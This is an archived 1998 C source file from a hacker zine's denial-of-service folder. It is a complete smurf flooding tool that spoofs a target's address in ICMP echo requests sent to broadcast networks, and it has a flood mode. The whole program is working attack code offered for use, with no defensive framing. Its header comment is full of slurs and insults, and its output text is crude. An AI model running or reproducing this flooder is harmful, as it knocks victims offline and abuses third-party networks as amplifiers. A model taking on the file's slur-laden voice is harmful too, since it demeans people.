home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / thc.c < prev    next >
Text File  |  1998-06-13  |  6KB  |  200 lines

  1. /*                  -=Thc.c v4.20 by cablepair =-
  2.  * greets to: 
  3.  *  Wicked Krew:psych for starting the legacy, blood for bein a dick, 
  4.  *   cOolcat^ for hangin around, krazy for bein a psycho, and jem for 
  5.  *   the resurection and most of all to idul for bein muh best bro
  6.  *  fms: for bein the mutha fuckin squad (fl1p m0d3 squ4d 1z d4ng3r0us) 
  7.  *   sparky for skoolin my lame ass, and rst38h for bein a russian faggot 
  8.  *  BDG: for bein the orginal fuckin crew!, to b-jack for startin it all
  9.  *   to heff for bein my boy, to observer for gettin busted by nasa, to
  10.  *   Archaic_G for bein a asshole, to hot-ice for bein a cool 'click kid'
  11.  *   and to Div-X for bein a bunch of lame assholes,(if it werent for them
  12.  *   i woulda neva had fun on irc ;P) and to delrot and crusad3r.
  13.  *  a big FUCK YOU! to conflict for bein a bunch of stuck up bitchez 
  14.  *   exspecially:(Rolex(timex): the king cocksucker,tagx(fagx) for bein his
  15.  *   fuck puppet, and to madmax for bein the only cool one)
  16.  *   id also like to say whats up to maryjane: for bein one of the few cool
  17.  *   irc girls, to rootgrl for bein just as cool, to all the #staylight
  18.  *   #spoof, #phreak crews for bein rad, especially (fail,b0b,TheAngel,
  19.  *   mspeel(alt.binaries.pictures.erotica.mspeel<--LOL) parad0x, crypie
  20.  *   Tazman: for bein the smartest coolest guy i ever met, to plex for bein
  21.  *   the same, to acid-rain, smokee, mrshoes,deadshock,seafrog,wyrdmaje 
  22.  *   the boys: i love you all,to myself for not being able to spell worth 
  23.  *   a shit! and most of all to gawdess who is my one true love and the
  24.  *   whole reason im leaving irc (to marry her!) and to everyone else 
  25.  *   who i forgot. including The_Judge for lettin me cop a free t3 ;P
  26.  *  - cablepair
  27.  */
  28.   
  29. #include <signal.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <sys/socket.h>
  33. #include <sys/types.h>
  34. #include <netinet/in.h>
  35. #include <netinet/ip.h>
  36. #include <netinet/ip_icmp.h>
  37. #include <netdb.h>
  38. #include <ctype.h>
  39. #include <arpa/inet.h>
  40. #include <unistd.h>
  41. #include <string.h>
  42.  
  43. void banner(void);
  44. void usage(char *);
  45. void smurf(int, struct sockaddr_in, u_long, int);
  46. void ctrlc(int);
  47. unsigned short in_chksum(u_short *, int);
  48.  
  49. /* stamp */
  50. char id[] = "$thc.c by cablepair $";
  51.  
  52. int main (int argc, char *argv[])
  53. {
  54.    struct sockaddr_in sin;
  55.    struct hostent *he;
  56.    FILE   *bcastfile;
  57.    int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
  58.    char   buf[32], **bcastaddr = malloc(8192);
  59.  
  60.    banner();
  61.    signal(SIGINT, ctrlc);
  62.  
  63.    if (argc < 6) usage(argv[0]);
  64.  
  65.    if ((he = gethostbyname(argv[1])) == NULL) {
  66.       perror("resolving source host");
  67.       exit(-1);
  68.    }
  69.    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  70.    sin.sin_family = AF_INET;
  71.    sin.sin_port = htons(0);
  72.  
  73.    num = atoi(argv[3]);
  74.    delay = atoi(argv[4]);
  75.    pktsize = atoi(argv[5]);
  76.  
  77.    if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  78.       perror("opening bcast file");
  79.       exit(-1);
  80.    }
  81.    x = 0;
  82.    while (!feof(bcastfile)) {
  83.       fgets(buf, 32, bcastfile);
  84.       if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
  85.       for (i = 0; i < strlen(buf); i++)
  86.           if (buf[i] == '\n') buf[i] = '\0';
  87.       bcastaddr[x] = malloc(32);
  88.       strcpy(bcastaddr[x], buf);
  89.       x++;
  90.    }
  91.    bcastaddr[x] = 0x0;
  92.    fclose(bcastfile);
  93.  
  94.    if (x == 0) {
  95.       fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  96.       exit(-1);
  97.    }
  98.    if (pktsize > 1024) {
  99.       fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  100.       exit(-1);
  101.    }
  102.  
  103.    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  104.       perror("getting socket");
  105.       exit(-1);
  106.    }
  107.    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  108.  
  109.    printf("rapeing %s (* = 50 outgoing packets)\n", argv[1]);
  110.  
  111.    for (i = 0; i < num || !num; i++) {
  112.       if (!(i % 25)) { printf("*"); fflush(stdout); }
  113.       smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  114.       cycle++;
  115.       if (bcastaddr[cycle] == 0x0) cycle = 0;
  116.       usleep(delay);
  117.    }
  118.    puts("\n\n");
  119.    return 0;
  120. }
  121.  
  122. void banner (void)
  123. {
  124.    puts("thc.c v4.20 by cablepair\n");
  125.    puts("regged to gawdess - shes muh baby\n");
  126. }
  127.  
  128. void usage (char *prog)
  129. {
  130.    fprintf(stderr, "usage: %s <target> <bcast file> "
  131.                    "<num> <delay> <size>\n\n"
  132.                    "target        = address to hit\n"
  133.                    "bcast file    = file to read broadcast addresses from\n"
  134.                    "num           = number of packets to send (0 = flood)\n"
  135.                    "delay         = wait between each packet (in ms)\n"
  136.                    "size          = size of packet (< 1024)\n\n", prog);
  137.    exit(-1);
  138. }
  139.  
  140. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  141. {
  142.    struct iphdr *ip;
  143.    struct icmphdr *icmp;
  144.    char *packet;
  145.  
  146.    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  147.    ip = (struct iphdr *)packet;
  148.    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  149.  
  150.    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  151.  
  152.    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  153.    ip->ihl = 5;
  154.    ip->version = 4;
  155.    ip->ttl = 255;
  156.    ip->tos = 0;
  157.    ip->frag_off = 0;
  158.    ip->protocol = IPPROTO_ICMP;
  159.    ip->saddr = sin.sin_addr.s_addr;
  160.    ip->daddr = dest;
  161.    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  162.    icmp->type = 8;
  163.    icmp->code = 0;
  164.    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  165.  
  166.    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
  167.           0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
  168.  
  169.    free(packet);           
  170. }
  171.  
  172. void ctrlc (int ignored)
  173. {
  174.    puts("\newwww, i bet that hurt\n");
  175.    exit(1);
  176. }
  177.  
  178. unsigned short in_chksum (u_short *addr, int len)
  179. {
  180.    register int nleft = len;
  181.    register int sum = 0;
  182.    u_short answer = 0;
  183.  
  184.    while (nleft > 1) {
  185.       sum += *addr++;
  186.       nleft -= 2;
  187.    }
  188.  
  189.    if (nleft == 1) {
  190.       *(u_char *)(&answer) = *(u_char *)addr;
  191.       sum += answer;
  192.    }
  193.  
  194.    sum = (sum >> 16) + (sum + 0xffff);
  195.    sum += (sum >> 16);
  196.    answer = ~sum;
  197.    return(answer);
  198. }
  199.  
  200.